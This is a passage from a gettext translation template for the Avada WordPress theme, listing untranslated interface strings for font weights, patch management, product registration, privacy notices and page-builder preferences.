Address" msgstr "" #: includes/lib/inc/class-fusion-data.php:186 #: includes/lib/inc/class-fusion-social-icon.php:220 msgid "Phone" msgstr "" #: includes/lib/inc/class-fusion-data.php:194 #: includes/lib/inc/class-fusion-social-icon.php:226 #: includes/metaboxes/tabs/tab_off_canvas_design.php:118 #: includes/metaboxes/tabs/tab_off_canvas_design.php:203 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:180 #: includes/metaboxes/tabs/tab_template.php:523 msgid "Custom" msgstr "" #: includes/lib/inc/class-fusion-data.php:416 msgid "Thin (100)" msgstr "" #: includes/lib/inc/class-fusion-data.php:417 msgid "Extra Light (200)" msgstr "" #: includes/lib/inc/class-fusion-data.php:418 msgid "Light (300)" msgstr "" #: includes/lib/inc/class-fusion-data.php:419 msgid "Normal (400)" msgstr "" #: includes/lib/inc/class-fusion-data.php:420 msgid "Medium (500)" msgstr "" #: includes/lib/inc/class-fusion-data.php:421 msgid "Semi Bold (600)" msgstr "" #: includes/lib/inc/class-fusion-data.php:422 msgid "Bold (700)" msgstr "" #: includes/lib/inc/class-fusion-data.php:423 msgid "Bolder (800)" msgstr "" #: includes/lib/inc/class-fusion-data.php:424 msgid "Extra Bold (900)" msgstr "" #: includes/lib/inc/class-fusion-envato-api.php:57 #: includes/lib/inc/class-fusion-envato-api.php:68 msgid "Cheatin’ huh?" msgstr "" #: includes/lib/inc/class-fusion-envato-api.php:103 msgid "An API token is required." msgstr "" #: includes/lib/inc/class-fusion-envato-api.php:132 #: includes/lib/inc/class-fusion-envato-api.php:136 msgid "An unknown API error occurred." msgstr "" #: includes/lib/inc/class-fusion-featured-image.php:50 msgid "Featured Image 2" msgstr "" #: includes/lib/inc/class-fusion-featured-image.php:51 msgid "Set featured image 2" msgstr "" #: includes/lib/inc/class-fusion-featured-image.php:52 msgid "Remove featured image 2" msgstr "" #: includes/lib/inc/class-fusion-featured-image.php:103 msgid "Featured images Info" msgstr "" #: includes/lib/inc/class-fusion-featured-image.php:168 #. translators: The "Global Options" link. msgid "To control the amount of featured image boxes, visit %s." msgstr "" #: includes/lib/inc/class-fusion-fusionredux.php:544 #. translators: The description subtitle and an example value. msgid "%1$s Enter value including CSS unit (px, em, rem), ex: %2$s." msgstr "" #: includes/lib/inc/class-fusion-fusionredux.php:547 #. translators: The description subtitle, percetange sign and an example value. msgid "" "%1$s Enter value including any valid CSS unit besides %2$s which does not " "work for inline columns, ex: %3$s." msgstr "" #: includes/lib/inc/class-fusion-fusionredux.php:550 #. translators: The description subtitle, percentage sign and an example value. msgid "" "%1$s Enter value including any valid CSS unit besides %2$s which does not " "work for page title bar, ex: %3$s." msgstr "" #: includes/lib/inc/class-fusion-fusionredux.php:553 #. translators: The description subtitle and an example value. msgid "%1$s Enter value including any valid CSS unit, ex: %2$s." msgstr "" #: includes/lib/inc/class-fusion-fusionredux.php:559 #. translators: The description subtitle and an example value. msgid "%1$s In pixels, ex: %2$s." msgstr "" #: includes/lib/inc/class-fusion-fusionredux.php:562 #: includes/lib/inc/class-fusion-fusionredux.php:578 #: includes/lib/inc/class-fusion-fusionredux.php:589 #. translators: The description subtitle and an example value. msgid "%1$s Enter values including any valid CSS unit, ex: %2$s." msgstr "" #: includes/lib/inc/class-fusion-fusionredux.php:615 msgid "In pixels." msgstr "" #: includes/lib/inc/class-fusion-fusionredux.php:876 msgid "" "This is a dependent option that always stays visible because other options " "can utilize it." msgstr "" #: includes/lib/inc/class-fusion-fusionredux.php:920 msgid "Theme Skin" msgstr "" #: includes/lib/inc/class-fusion-fusionredux.php:921 #: includes/options/forms.php:282 msgid "Color Scheme" msgstr "" #: includes/lib/inc/class-fusion-fusionredux.php:935 msgid "Are you sure you want to reset all Avada caches?" msgstr "" #: includes/lib/inc/class-fusion-fusionredux.php:939 msgid "Are you sure you want to reset all Mailchimp caches?" msgstr "" #: includes/lib/inc/class-fusion-fusionredux.php:940 msgid "All Mailchimp caches have been reset." msgstr "" #: includes/lib/inc/class-fusion-fusionredux.php:943 msgid "Are you sure you want to reset all HubSpot caches?" msgstr "" #: includes/lib/inc/class-fusion-fusionredux.php:944 msgid "All HubSpot caches have been reset." msgstr "" #: includes/lib/inc/class-fusion-fusionredux.php:947 msgid "Are you sure you want to reset all Instagram caches?" msgstr "" #: includes/lib/inc/class-fusion-fusionredux.php:948 msgid "All Instagram caches have been reset." msgstr "" #: includes/lib/inc/class-fusion-fusionredux.php:951 msgid "Are you sure you want to reset all Adobe caches?" msgstr "" #: includes/lib/inc/class-fusion-fusionredux.php:952 msgid "All Adobe caches have been reset. Refresh the page to see the changes." msgstr "" #: includes/lib/inc/class-fusion-fusionredux.php:1390 msgid "" "Are you sure? This will reset all saved options to the default Avada " "Classic Global Options. This does not reset them to any other prebuilt site " "that you may have imported. A copy of your current options will be saved to " "your uploads folder in avada-global-options, as a backup." msgstr "" #: includes/lib/inc/class-fusion-fusionredux.php:1401 msgid "" "Are you sure? This will reset all saved options to the default Avada " "Classic Global Options for this section. This does not reset them to any " "other prebuilt site that you may have imported. A copy of your current " "options will be saved to your uploads folder in avada-global-options, as a " "backup." msgstr "" #: includes/lib/inc/class-fusion-fusionredux.php:1412 msgid "" "Copy the contents of the json file and paste it below. Then click " "\"Import\" to restore your setings." msgstr "" #: includes/lib/inc/class-fusion-fusionredux.php:1487 msgid "Media fields using remote URLs were detected in your Global Options" msgstr "" #: includes/lib/inc/class-fusion-fusionredux.php:1493 msgid "Please replace them with locally-imported files from your media library." msgstr "" #: includes/lib/inc/class-fusion-fusionredux.php:1498 msgid "Dismiss Message" msgstr "" #: includes/lib/inc/class-fusion-helper.php:340 #. translators: The search query. msgid "Search results for: %s" msgstr "" #: includes/lib/inc/class-fusion-helper.php:353 msgid "Error 404 Page" msgstr "" #: includes/lib/inc/class-fusion-helper.php:361 #. translators: Date. msgid "Daily Archives: %s" msgstr "" #: includes/lib/inc/class-fusion-helper.php:364 #. translators: Date. msgid "Monthly Archives: %s" msgstr "" #: includes/lib/inc/class-fusion-helper.php:367 #. translators: Date. msgid "Yearly Archives: %s" msgstr "" #: includes/lib/inc/class-fusion-images.php:1060 msgid "Masonry Image Layout" msgstr "" #: includes/lib/inc/class-fusion-images.php:1064 msgid "1x1" msgstr "" #: includes/lib/inc/class-fusion-images.php:1065 msgid "Landscape" msgstr "" #: includes/lib/inc/class-fusion-images.php:1066 msgid "Portrait" msgstr "" #: includes/lib/inc/class-fusion-images.php:1067 msgid "2x2" msgstr "" #: includes/lib/inc/class-fusion-images.php:1069 msgid "Set layout which will be used when image is displayed in masonry." msgstr "" #: includes/lib/inc/class-fusion-patcher-admin-screen.php:245 #. translators: Opening and closing link tags. msgid "" "The %1$sPatcher%2$s allows you to apply small fixes to your site between " "Avada releases, thereby keeping your site up to date." msgstr "" #: includes/lib/inc/class-fusion-patcher-admin-screen.php:255 #. translators: The product name and its version. msgid "Currently there are no patches available for %1$s %2$s" msgstr "" #: includes/lib/inc/class-fusion-patcher-admin-screen.php:258 #. translators: The product name and its version. msgid "The following patches are available for %1$s %2$s" msgstr "" #: includes/lib/inc/class-fusion-patcher-admin-screen.php:264 msgid "Apply All Patches" msgstr "" #: includes/lib/inc/class-fusion-patcher-admin-screen.php:271 msgid "Patch can be reapplied if necessary." msgstr "" #: includes/lib/inc/class-fusion-patcher-admin-screen.php:289 msgid "Patch #" msgstr "" #: includes/lib/inc/class-fusion-patcher-admin-screen.php:357 msgid "Applied" msgstr "" #: includes/lib/inc/class-fusion-patcher-admin-screen.php:362 msgid "Apply" msgstr "" #: includes/lib/inc/class-fusion-patcher-admin-screen.php:364 msgid "Dismiss Notices" msgstr "" #: includes/lib/inc/class-fusion-patcher-admin-screen.php:372 #. translators: The patch-ID. msgid "Apply patch #%s first." msgstr "" #: includes/lib/inc/class-fusion-patcher-admin-screen.php:374 msgid "Patch cannot be currently aplied." msgstr "" #: includes/lib/inc/class-fusion-patcher-checker.php:122 msgid "Patch Applied" msgstr "" #: includes/lib/inc/class-fusion-patcher-checker.php:123 msgid "Dismiss Notice" msgstr "" #: includes/lib/inc/class-fusion-patcher-client.php:114 #. translators: Update server url. msgid "" "The ThemeFusion patches server could not be reached. Please contact your " "host to unblock the \"%s\" domain." msgstr "" #: includes/lib/inc/class-fusion-patcher-filesystem.php:102 #. translators: Update server url. msgid "" "The Avada patch contents cannot be retrieved. Please contact your host to " "unblock the \"%s\" domain." msgstr "" #: includes/lib/inc/class-fusion-patcher-filesystem.php:118 msgid "Patch empty." msgstr "" #: includes/lib/inc/class-fusion-patcher-filesystem.php:154 msgid "Invalid Patch target." msgstr "" #: includes/lib/inc/class-fusion-patcher-filesystem.php:182 #. translators: Links. msgid "" "The patch could not be applied because of your specific server permissions. " "You have two options to remedy this. 1. Download this zip file " "which contains the files needed to fix this issue. Simply extract the zip " "file, and replace the files it contains with the same files on your server. " "DO NOT REPLACE THE ENTIRE FOLDER. 2. Contact our support " "center, submit a ticket and include your FTP credentials so one of our " "support experts can apply the fix for you. Once the fix is applied, click " "the \"Dismiss Notices\" button so this message is removed." msgstr "" #: includes/lib/inc/class-fusion-privacy.php:156 msgid "Avada Version" msgstr "" #: includes/lib/inc/class-fusion-privacy.php:160 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/views/status_report.php:89 msgid "Site URL" msgstr "" #: includes/lib/inc/class-fusion-privacy.php:169 msgid "Purchase Code" msgstr "" #: includes/lib/inc/class-fusion-privacy.php:174 msgid "Token" msgstr "" #: includes/lib/inc/class-fusion-privacy.php:191 msgid "Sending Of Verification Data" msgstr "" #: includes/lib/inc/class-fusion-privacy.php:195 msgid "" "Once you click to import a prebuilt website, the following data will be " "sent to a ThemeFusion server located in the U.S. to verify purchase and to " "ensure that prebuilt websites are compatible with your install." msgstr "" #: includes/lib/inc/class-fusion-privacy.php:199 msgid "" "Once you click to install / update a premium plugin, the following data " "will be sent to a ThemeFusion server located in the U.S. to verify purchase " "and to ensure that plugins are compatible with your install." msgstr "" #: includes/lib/inc/class-fusion-privacy.php:202 msgid "" "The following data is sent to a ThemeFusion server located in the U.S. to " "ensure that patches are compatible with your install." msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:364 msgid "No purchase code was passed on to be revoked." msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:367 msgid "" "In order to import a prebuilt website Avada must be registered. No purchase " "code was found." msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:369 msgid "No purchase code was provided." msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:374 msgid "No domain was passed on and therefore revoke could not be confirmed." msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:377 msgid "" "In order to import a prebuilt website Avada must be registered. No domain " "was passed on, therefore validation could not be confirmed." msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:379 msgid "" "No domain was passed on in the request, this is needed to confirm " "registration." msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:384 msgid "Invalid purchase code. Code provided appears to be a token instead." msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:387 #: includes/lib/inc/class-fusion-product-registration.php:392 msgid "Invalid purchase code." msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:390 msgid "" "In order to import a prebuilt website Avada must be registered. The " "purchase code being used does not seem to be valid." msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:396 msgid "" "Envato API did not respond. Either the purchase code is incorrect or the " "API is temporarily unavailable." msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:401 #: includes/lib/inc/class-fusion-product-registration.php:409 msgid "The purchase code is already being used on another domain." msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:404 msgid "The current domain does not match our records and therefore was not revoked." msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:407 msgid "" "In order to import a prebuilt website Avada must be registered. The current " "domain does not match our records." msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:414 #: includes/lib/inc/class-fusion-product-registration.php:419 msgid "The purchase code is already being used on another staging domain." msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:417 msgid "" "In order to import a prebuilt website Avada must be registered. The current " "staging domain does not match our records." msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:424 #. translators: "ThemeFusion" contact link. msgid "" "This purchase code has been locked, as it was used in a manner that " "violates Envato license terms. Please contact us via the %s page to resolve." msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:428 msgid "Sorry, the API is currently overloaded. Please try again later." msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:433 #. translators: "ThemeFusion" contact link. msgid "" "The purchase code has been registered too many times. Please contact %s to " "resolve." msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:436 msgid "Unknown error encountered. Please try again later." msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:708 msgid "Register Your Website" msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:710 msgid "Your Website is Registered" msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:714 msgid "How To?" msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:722 #. translators: Link. msgid "" "Congratulations, and thank you for registering your website. To manage your " "licenses, sign up on %s." msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:728 msgid "" "Please enter your Avada purchase code and get access to our prebuilt " "websites, auto-updates, and premium plugins. The purchase code and site URL " "will be sent to a ThemeFusion server located in the U.S. to verify the " "purchase." msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:733 msgid "" "After registration is completed required Avada plugins will be installed " "and activated if needed." msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:754 msgid "Register Now" msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:756 msgid "Unregister" msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:775 msgid "How To Find Your Purchase Code" msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:781 #. translators: "ThemeForest sign in link" link. msgid "" "Sign in to your %s. IMPORTANT: You must be signed into the " "same ThemeForest account that purchased Avada. If you are signed in " "already, look in the top menu bar to ensure it is the right account." msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:782 msgid "ThemeForest account" msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:790 #. translators: "Generate A Personal Token" link. msgid "" "Visit the %s. You should see a row for Avada. If you don't, please " "re-check step 1 that you are on the correct account." msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:791 msgid "ThemeForest downloads page" msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:797 msgid "Click the download button in the Avada row." msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:802 msgid "" "Select either License certificate & purchase code (PDF) or License " "certificate & purchase code (text). This should then download either a text " "or PDF file." msgstr "" #: includes/lib/inc/class-fusion-product-registration.php:807 msgid "Open up that newly downloaded file and copy the Item Purchase Code." msgstr "" #: includes/lib/inc/class-fusion-scripts.php:588 msgid "Press Esc to close" msgstr "" #: includes/lib/inc/class-fusion-scripts.php:589 msgid "Enter Fullscreen (Shift+Enter)" msgstr "" #: includes/lib/inc/class-fusion-scripts.php:590 msgid "Exit Fullscreen (Shift+Enter)" msgstr "" #: includes/lib/inc/class-fusion-scripts.php:591 msgid "Slideshow" msgstr "" #: includes/lib/inc/class-fusion-scripts.php:643 msgid "Loading the next set of posts..." msgstr "" #: includes/lib/inc/class-fusion-scripts.php:644 msgid "All items displayed." msgstr "" #: includes/lib/inc/class-fusion-searchform.php:49 #: templates/wc-product-search-form.php:17 msgid "Search..." msgstr "" #: includes/lib/inc/class-fusion-settings.php:424 msgid "Link & Zoom" msgstr "" #: includes/lib/inc/class-fusion-settings.php:426 #: includes/metaboxes/tabs/tab_portfolio_post.php:185 #: includes/metaboxes/tabs/tab_post.php:110 includes/options/extra.php:555 msgid "Link" msgstr "" #: includes/lib/inc/class-fusion-settings.php:428 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:28 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:40 #: includes/metaboxes/tabs/tab_page.php:143 #: includes/metaboxes/tabs/tab_portfolio_post.php:186 #: includes/metaboxes/tabs/tab_post.php:111 includes/options/extra.php:556 msgid "Zoom" msgstr "" #: includes/lib/inc/class-fusion-settings.php:430 #: includes/metaboxes/tabs/tab_portfolio_post.php:187 #: includes/metaboxes/tabs/tab_post.php:112 includes/options/extra.php:557 msgid "No Icons" msgstr "" #: includes/lib/inc/class-fusion-settings.php:499 #: includes/lib/inc/class-fusion-settings.php:511 #: includes/lib/inc/class-fusion-settings.php:523 #: includes/lib/inc/class-fusion-settings.php:536 #: includes/lib/inc/class-fusion-settings.php:549 #: includes/lib/inc/class-fusion-settings.php:562 #: includes/lib/inc/class-fusion-settings.php:574 #: includes/lib/inc/class-fusion-settings.php:582 #: includes/lib/inc/class-fusion-settings.php:614 #. translators: The value. #. translators: The default value. #. translators: The default value. #. translators: The value. msgid " Default currently set to %s." msgstr "" #: includes/lib/inc/class-fusion-settings.php:503 #: includes/lib/inc/fusion-app/class-fusion-preferences.php:211 #: includes/metaboxes/tabs/tab_content.php:245 #: includes/metaboxes/tabs/tab_pagetitlebar.php:182 #: includes/metaboxes/tabs/tab_portfolio_post.php:53 #: includes/metaboxes/tabs/tab_portfolio_post.php:223 #: includes/metaboxes/tabs/tab_portfolio_post.php:250 #: includes/metaboxes/tabs/tab_portfolio_post.php:273 #: includes/metaboxes/tabs/tab_portfolio_post.php:296 #: includes/metaboxes/tabs/tab_post.php:87 #: includes/metaboxes/tabs/tab_post.php:148 #: includes/metaboxes/tabs/tab_post.php:163 #: includes/metaboxes/tabs/tab_post.php:186 #: includes/metaboxes/tabs/tab_post.php:209 #: includes/metaboxes/tabs/tab_post.php:232 msgid "Show" msgstr "" #: includes/lib/inc/class-fusion-settings.php:523 #: includes/lib/inc/class-fusion-settings.php:536 #. translators: The value. msgid " Current value set to %s." msgstr "" #: includes/lib/inc/class-fusion-settings.php:558 msgid "none" msgstr "" #: includes/lib/inc/class-fusion-settings.php:569 #. translators: The value. msgid " Global sidebar is currently active and will override selection with %s." msgstr "" #: includes/lib/inc/class-fusion-settings.php:587 #. translators: The element and its value. msgid "" " Leave empty for value set in parent options. If that is also empty, the " "%1$s value of %2$s will be used." msgstr "" #: includes/lib/inc/class-fusion-settings.php:623 #. translators: The default value. msgid " Leave empty for default value of %s." msgstr "" #: includes/lib/inc/class-fusion-settings.php:628 #. translators: %1$s is the link. %2$s is the link text. msgid " Currently no default selected. Can be set globally from the %s." msgstr "" #: includes/lib/inc/class-fusion-social-icon.php:218 #: includes/options/social_media.php:846 msgid "Copy Link" msgstr "" #: includes/lib/inc/class-fusion-social-sharing.php:188 #. translators: Social network name msgid "Share on %s" msgstr "" #: includes/lib/inc/class-fusion-social-sharing.php:193 #. translators: Share by email msgid "Share by %s" msgstr "" #: includes/lib/inc/class-fusion.php:444 #: includes/metaboxes/tabs/tab_template.php:200 includes/options/layout.php:107 #: includes/options/layout.php:400 includes/options/menu.php:2917 #: includes/options/menu.php:3025 msgid "Site Width" msgstr "" #: includes/lib/inc/custom-icons/class-fusion-custom-icon-set.php:339 msgid "Allowed Files" msgstr "" #: includes/lib/inc/custom-icons/class-fusion-custom-icon-set.php:417 msgid "Icon set with same CSS prefix already exists!" msgstr "" #: includes/lib/inc/custom-icons/class-fusion-custom-icon-set.php:417 msgid "" "Icon set with same CSS prefix already exists! Please use unique prefix in " "order to avoid conflicts." msgstr "" #: includes/lib/inc/custom-icons/class-fusion-custom-icon-set.php:461 msgid "Icon Set" msgstr "" #: includes/lib/inc/custom-icons/class-fusion-custom-icon-set.php:483 msgid "Browse Files" msgstr "" #: includes/lib/inc/custom-icons/class-fusion-custom-icon-set.php:483 msgid "Update Custom Icon Set" msgstr "" #: includes/lib/inc/custom-icons/class-fusion-custom-icon-set.php:499 msgid "Drop zip file to upload" msgstr "" #: includes/lib/inc/custom-icons/class-fusion-custom-icon-set.php:505 #. translators: %1$s: Link to Icomoon site. %2$s
    . %3$s Note: msgid "" "Supported Icon Tool - %1$s %2$s %3$s Every uploaded custom icon set needs a " "unique font name and CSS class prefix.\n" "\t\t\t\t\t\t\t\t\tFor more info, see the %4$s." msgstr "" #: includes/lib/inc/custom-icons/class-fusion-custom-icon-set.php:512 msgid "NOTE:" msgstr "" #: includes/lib/inc/custom-icons/class-fusion-custom-icon-set.php:517 msgid "Select File" msgstr "" #: includes/lib/inc/custom-icons/class-fusion-custom-icon-set.php:539 msgid "JSON" msgstr "" #: includes/lib/inc/custom-icons/class-fusion-custom-icon-set.php:546 msgid "CSS Prefix:" msgstr "" #: includes/lib/inc/custom-icons/class-fusion-custom-icon-set.php:553 msgid "Icons Count:" msgstr "" #: includes/lib/inc/functions.php:363 includes/lib/inc/functions.php:366 #. translators: The author. msgid "By %s" msgstr "" #: includes/lib/inc/functions.php:406 #. translators: The categories list. msgid "Categories: %s" msgstr "" #: includes/lib/inc/functions.php:419 #: includes/lib/inc/fusion-app/helpers.php:569 #. translators: The tags list. #. Translators: List of tags. msgid "Tags: %s" msgstr "" #: includes/lib/inc/functions.php:426 templates/related-posts.php:117 msgid "0 Comments" msgstr "" #: includes/lib/inc/functions.php:426 templates/related-posts.php:117 msgid "1 Comment" msgstr "" #: includes/lib/inc/functions.php:426 templates/related-posts.php:117 msgid "% Comments" msgstr "" #: includes/lib/inc/functions.php:920 msgid "Pages:" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:595 msgid "Page" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:762 msgid "Edit Live" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:823 #. translators: Name of post type. msgid "Edit %s" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:862 #. translators: Number of layout. msgid "Edit Layout: %s" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:885 msgid "Use Layouts" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:885 msgid "Manage" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:924 msgid "Form" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:967 msgid "Post Card" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:1735 msgid "You do not have permission to edit this post." msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:1804 msgid "The page contents updated." msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:1811 msgid "You do not have permission to edit this archive." msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:1846 msgid "The archive details updated." msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:2071 #: includes/lib/inc/fusion-app/class-fusion-app.php:2072 #: includes/options/performance.php:119 msgid "Ultra-Light 100" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:2073 #: includes/options/performance.php:120 msgid "Ultra-Light 100 Italic" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:2074 #: includes/options/performance.php:121 msgid "Light 200" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:2075 #: includes/options/performance.php:122 msgid "Light 200 Italic" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:2076 #: includes/options/performance.php:123 msgid "Book 300" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:2077 #: includes/options/performance.php:124 msgid "Book 300 Italic" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:2078 #: includes/lib/inc/fusion-app/class-fusion-app.php:2079 #: includes/options/performance.php:125 msgid "Normal 400" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:2080 #: includes/options/performance.php:126 msgid "Normal 400 Italic" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:2081 #: includes/options/performance.php:127 msgid "Medium 500" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:2082 #: includes/options/performance.php:128 msgid "Medium 500 Italic" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:2083 #: includes/lib/inc/fusion-app/class-fusion-app.php:2084 #: includes/options/performance.php:129 msgid "Semi-Bold 600" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:2085 #: includes/options/performance.php:130 msgid "Semi-Bold 600 Italic" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:2086 #: includes/options/performance.php:131 msgid "Bold 700" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:2087 #: includes/options/performance.php:132 msgid "Bold 700 Italic" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:2088 #: includes/lib/inc/fusion-app/class-fusion-app.php:2089 #: includes/options/performance.php:133 msgid "Extra-Bold 800" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:2090 #: includes/options/performance.php:134 msgid "Extra-Bold 800 Italic" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:2091 #: includes/lib/inc/fusion-app/class-fusion-app.php:2092 #: includes/options/performance.php:135 msgid "Ultra-Bold 900" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:2093 #: includes/options/performance.php:136 msgid "Ultra-Bold 900 Italic" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:2348 msgid "Go back" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:2356 msgid "Back to" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:2363 msgid "Take Over" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:2372 msgid "is currently editing this post. Do you want to take over?" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-app.php:2378 msgid "has taken over and is currently editing." msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:152 msgid "Builder Styling Mode" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:153 msgid "Choose if you want a light or dark builder UI style." msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:163 msgid "Sidebar Panel Position" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:164 msgid "Select the side which you want the sidebar panel to be displayed on." msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:174 msgid "Element Editing Mode" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:175 msgid "Choose if element editing should be in the sidebar or in dialogs." msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:178 #: includes/options/events_calendar.php:300 msgid "Sidebar" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:179 msgid "Dialog" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:185 msgid "Automatically Open Element Settings" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:186 msgid "" "Choose if the settings should be opened automatically after adding an " "element." msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:196 msgid "Enable Keyboard Shortcuts" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:197 msgid "Choose if keyboard shortcuts should be enabled or disabled." msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:207 msgid "Show Option Descriptions By Default" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:208 msgid "Choose if option descriptions should be shown or hidden by default." msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:218 msgid "Show Tooltips" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:219 msgid "Choose if tooltips should be enabled or disabled." msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:229 msgid "Enable Sticky Header & Containers" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:230 msgid "Choose if sticky header and sticky containers should be enabled or disabled." msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:240 msgid "Enable Transparent Header & Absolute Containers" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:241 msgid "" "Choose if transparent header and absolute containers should be enabled or " "disabled." msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:251 msgid "Enable Preview for Filter Options" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:252 msgid "Choose if element filter options preview should be enabled or disabled." msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:262 msgid "Enable Preview for Transform Options" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:263 msgid "Choose if element transform options preview." msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:266 #: includes/lib/inc/fusion-app/class-fusion-preferences.php:278 #: includes/options/forms.php:276 msgid "Always" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:267 #: includes/lib/inc/fusion-app/class-fusion-preferences.php:279 msgid "Editing" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:268 #: includes/lib/inc/fusion-app/class-fusion-preferences.php:280 #: includes/metaboxes/tabs/tab_template.php:520 templates/wc-view-order.php:65 msgid "Never" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:274 msgid "Enable Preview for Inline Dynamic Data" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:275 msgid "Choose if or when a preview of inline dynamic data should be displayed." msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:286 msgid "Enable Preview For Conditional Rendering" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:287 msgid "" "Choose to enable the device conditional rendering preview for container and " "columns." msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:297 msgid "Show Droppable Areas While Dragging" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:298 msgid "Enable in order to see all dropppable areas while dragging element." msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:308 msgid "Sidebar Panel Overlay Mode" msgstr "" #: includes/lib/inc/fusion-app/class-fusion-preferences.php:309 msgid "" "Choose if the sidebar panel should act as an overlay. If enabled, the " "sidebar will overlay the preview content." msgstr "" #: 